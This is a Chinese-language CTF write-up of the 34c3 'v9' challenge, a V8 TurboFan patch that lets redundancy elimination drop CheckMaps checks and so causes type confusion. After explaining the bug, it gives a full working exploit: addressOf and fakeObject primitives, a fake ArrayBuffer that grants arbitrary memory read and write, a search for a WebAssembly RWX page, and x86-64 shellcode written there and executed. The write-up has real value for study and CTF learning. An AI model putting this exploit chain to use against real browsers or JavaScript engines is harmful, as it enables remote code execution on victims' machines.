.. | ||
assets | ||
README.md |
34c3 v9
题目分析
题目给了一个patch
文件,在redundancy-elimination
阶段增加一个对kCheckMaps
的优化:
diff --git a/src/compiler/redundancy-elimination.cc b/src/compiler/redundancy-elimination.cc
index b91b82e766..02c1e71203 100644
--- a/src/compiler/redundancy-elimination.cc
+++ b/src/compiler/redundancy-elimination.cc
@@ -26,6 +26,7 @@ Reduction RedundancyElimination::Reduce(Node* node) {
case IrOpcode::kCheckHeapObject:
case IrOpcode::kCheckIf:
case IrOpcode::kCheckInternalizedString:
+ case IrOpcode::kCheckMaps:
case IrOpcode::kCheckNotTaggedHole:
case IrOpcode::kCheckNumber:
case IrOpcode::kCheckReceiver:
@@ -158,8 +159,8 @@ bool CheckSubsumes(Node const* a, Node const* b) {
case IrOpcode::kCheckedUint32ToInt32:
case IrOpcode::kCheckedUint32ToTaggedSigned:
case IrOpcode::kCheckedUint64Bounds:
- case IrOpcode::kCheckedUint64ToInt32:
case IrOpcode::kCheckedUint64ToTaggedSigned:
+ case IrOpcode::kCheckedUint64ToInt32:
break;
case IrOpcode::kCheckedFloat64ToInt32:
case IrOpcode::kCheckedFloat64ToInt64:
@@ -188,6 +189,15 @@ bool CheckSubsumes(Node const* a, Node const* b) {
}
break;
}
+ case IrOpcode::kCheckMaps: {
+ // CheckMaps are compatible if the first checks a subset of the second.
+ ZoneHandleSet<Map> const& a_maps = CheckMapsParametersOf(a->op()).maps();
+ ZoneHandleSet<Map> const& b_maps = CheckMapsParametersOf(b->op()).maps();
+ if (!b_maps.contains(a_maps)) {
+ return false;
+ }
+ break;
+ }
default:
DCHECK(!IsCheckedWithFeedback(a->op()));
return false;
由于某些原因,拿不到对应版本的源码,这里用最新版源码分析逻辑过程。首先在函数Reduction RedundancyElimination::Reduce(Node* node)
中,添加的case IrOpcode::kCheckMaps
会调用ReduceCheckNode(node)
:
Reduction RedundancyElimination::ReduceCheckNode(Node* node) {
Node* const effect = NodeProperties::GetEffectInput(node);
EffectPathChecks const* checks = node_checks_.Get(effect);
// If we do not know anything about the predecessor, do not propagate just yet
// because we will have to recompute anyway once we compute the predecessor.
if (checks == nullptr) return NoChange();
// See if we have another check that dominates us.
if (Node* check = checks->LookupCheck(node, jsgraph_)) {
ReplaceWithValue(node, check);
return Replace(check);
}
// Learn from this check.
return UpdateChecks(node, checks->AddCheck(zone(), node));
}
在ReduceCheckNode(node)
通过checks->LookupCheck(node, jsgraph_)
判断是否存在check
可以代替当前结点的check
:
Node* RedundancyElimination::EffectPathChecks::LookupCheck(
Node* node, JSGraph* jsgraph) const {
for (Check const* check = head_; check != nullptr; check = check->next) {
Subsumption subsumption =
CheckSubsumes(check->node, node, jsgraph->machine());
if (!subsumption.IsNone() && TypeSubsumes(node, check->node)) {
DCHECK(!check->node->IsDead());
Node* result = check->node;
if (subsumption.IsWithConversion()) {
result = jsgraph->graph()->NewNode(subsumption.conversion_operator(),
result);
}
return result;
}
}
return nullptr;
}
进入LookupCheck
后,遍历check
链,大致意思是通过CheckSubsumes
判断check
链上是否有结点包含当前传入结点的判断条件,如果有的话则用该check
结点代替当前结点的check
结点:
// Does check {a} subsume check {b}?
Subsumption CheckSubsumes(Node const* a, Node const* b,
MachineOperatorBuilder* machine) {
case IrOpcode::kCheckMaps: {
// CheckMaps are compatible if the first checks a subset of the second.
ZoneHandleSet<Map> const& a_maps = CheckMapsParametersOf(a->op()).maps();
ZoneHandleSet<Map> const& b_maps = CheckMapsParametersOf(b->op()).maps();
if (!b_maps.contains(a_maps)) {
return false;
}
break;
}
}
总结来看,这个优化是对CheckMaps
结点的优化,在图上存在CheckMaps
结点包含关系时,会消除被包含的结点。而如果两个结点之间对Map
进行了修改,则会因为缺少被删除的CheckMaps
结点,导致类型混淆。
漏洞分析
具体来看一个例子:
let a = [.1];
function trigger(callback) {
a[0];
callback();
return a[0];
}
trigger(() => { });
%OptimizeFunctionOnNextCall(trigger);
trigger(() => { });
在两次调用a[0]
前,会生成CheckMaps
结点:
由于callback()
始终未修改a[0]
的类型,即第一个CheckMaps
包含第二个CheckMaps
的判断情况,因此在LoadEliminationPhase
将第二个结点删除:
而如果在优化后,传入修改a[0]
类型的函数,由于返回之前缺少CheckMaps
检查,后续代码仍是优化后的,将a[0]
视作double
类型进行处理的机器码,因此会造成类型混淆。
漏洞利用
原语构造
据上述分析,我们可以构造出addressOf
和fakeObject
原语:
function addressOf(obj) {
let a = [.1];
function trigger(callback) {
a[0];
callback();
return a[0];
}
for(let i = 0; i <= 100000; ++i) {
trigger(() => { });
}
return d2u(
trigger(() => {
a[0] = obj;
}
));
}
function fakeObject(addr) {
let a = [.1];
function trigger(callback) {
a[0];
callback();
a[0] = addr;
}
for(let i = 0; i <= 100000; ++i) {
trigger(() => { });
}
trigger(() => {
a[0] = {};
});
return a[0];
}
我们使用如下代码进行测试:
var oob_array = [.1, .2];
addr = addressOf(array_buffer);
print("[*] Address of array_buffer: " + hex(addr));
var obj = fakeObject(u2d(addr));
%DebugPrint(array_buffer);
但是这与我们预期结果不同,原因是由于GC的行为,代码执行时会在第二次调用原语时导致传入的对象被移动到内存的其他位置,造成地址的不同:
v8@ubuntu:~/games/JIT/34c3_v9/exp$ ../x64.release/d8 ./test.js --allow-natives-syntax
[*] Address of array_buffer: 0x000031621820bf81
0x1186d6682cf9 <ArrayBuffer map = 0x2bb044b421b9>
我们需要首先消除GC的这种影响:
function gc() {
for (let i = 0; i < 0x10; i++) {
new Array(0x100000);
}
}
之后的利用步骤类似于StarCTF2019 OOB,直接给出exp:
function gc() {
for (let i = 0; i < 0x10; i++) {
new Array(0x100000);
}
}
let array_buffer = new ArrayBuffer(0x8);
let data_view = new DataView(array_buffer);
function d2u(value) {
data_view.setFloat64(0, value);
return data_view.getBigUint64(0);
}
function u2d(value) {
data_view.setBigUint64(0, value);
return data_view.getFloat64(0);
}
function hex(val) {
return '0x' + val.toString(16).padStart(16, "0");
}
function addressOf(obj) {
let a = [.1];
function trigger(callback) {
a[0];
callback();
return a[0];
}
for(var i = 0; i < 100000; ++i) {
trigger(() => { });
}
function evil_callback() {
a[0] = obj;
}
return d2u(trigger(evil_callback));
}
function addressOf2(obj) {
let a = [.1];
function trigger(callback) {
a[0];
callback();
return a[0];
}
for(var i = 0; i < 100000; ++i) {
trigger(() => { });
}
function evil_callback() {
a[0] = obj;
}
return d2u(trigger(evil_callback));
}
function fakeObject(addr) {
let a = [.1];
function trigger(callback) {
a[0];
callback();
a[0] = addr;
}
function evil_callback() {
a[0] = {};
}
for(var i = 0; i < 100000; ++i) {
trigger(() => { });
}
trigger(evil_callback);
return a[0];
}
ab = new ArrayBuffer(0x1000);
gc();
var float_ab_mem = [
u2d(0n), // Map
u2d(0n), // Properties
u2d(0n), // Elements
u2d(0x1000n), // ByteLength
u2d(0n), // BackingStore
u2d(0n), // Map
u2d(0x1900042317080808n), // Type
];
gc();
// %DebugPrint(array_buffer);
// %DebugPrint(float_ab_mem);
var fake_ab_addr = addressOf(float_ab_mem) + 0x30n;
float_ab_mem[0] = u2d(fake_ab_addr + 0x28n);
// %SystemBreak();
var fake_ab = fakeObject(u2d(fake_ab_addr));
var fake_dv = new DataView(fake_ab);
function arb_read_qword(addr) {
float_ab_mem[4] = u2d(addr);
return fake_dv.getBigUint64(0, true);
}
function arb_write_qword(addr, value) {
float_ab_mem[4] = u2d(addr);
return fake_dv.setBigUint64(0, value, true);
}
let wasm_code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128,
128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128,
0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0,
0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109,
97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65,
42, 11]);
let wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code));
let f = wasm_mod.exports.main;
var rwx_mem_addr = arb_read_qword(addressOf2(wasm_mod) - 1n + 0x88n);
print("[*] rwx mem addr: " + hex(rwx_mem_addr));
var shellcode = [
0x636c6163782fb848n,
0x73752fb848500000n,
0x8948506e69622f72n,
0x89485750c03148e7n,
0x3ac0c748d23148e6n,
0x4944b84850000030n,
0x48503d59414c5053n,
0x485250c03148e289n,
0x00003bc0c748e289n,
0x0000000000050f00n
]
for (let i = 0; i < shellcode.length; i++) {
arb_write_qword(rwx_mem_addr + BigInt(i) * 8n, shellcode[i]);
}
f();